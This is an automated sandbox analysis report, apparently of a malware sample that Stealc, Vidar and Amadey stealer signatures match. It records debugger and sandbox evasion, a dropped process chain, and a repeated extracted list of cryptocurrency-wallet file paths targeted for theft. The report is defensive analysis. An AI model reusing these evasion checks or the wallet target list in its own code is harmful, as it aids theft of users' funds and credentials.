Source: JKEGHDGH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe

Code function: 21_2_053706A8 rdtsc

21_2_053706A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_0070652B mov eax, dword ptr fs:[00000030h]	21_2_0070652B
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Code function: 21_2_0070A302 mov eax, dword ptr fs:[00000030h]	21_2_0070A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0052A302 mov eax, dword ptr fs:[00000030h]	22_2_0052A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0052652B mov eax, dword ptr fs:[00000030h]	22_2_0052652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0052A302 mov eax, dword ptr fs:[00000030h]	23_2_0052A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0052652B mov eax, dword ptr fs:[00000030h]	23_2_0052652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDHIEBAAK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDHIEBAAK.exe "C:\Users\user\DocumentsFIDHIEBAAK.exe"
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe "C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe"

Source: file.exe, file.exe, 00000000.00000002.2588657828.0000000000BE8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsFIDHIEBAAK.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2658818239.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2656933976.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2623925226.00000000006D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3331950957.00000000004F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2088852117.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2587375541.0000000000821000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2590695156.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5908, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587375541.00000000008A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 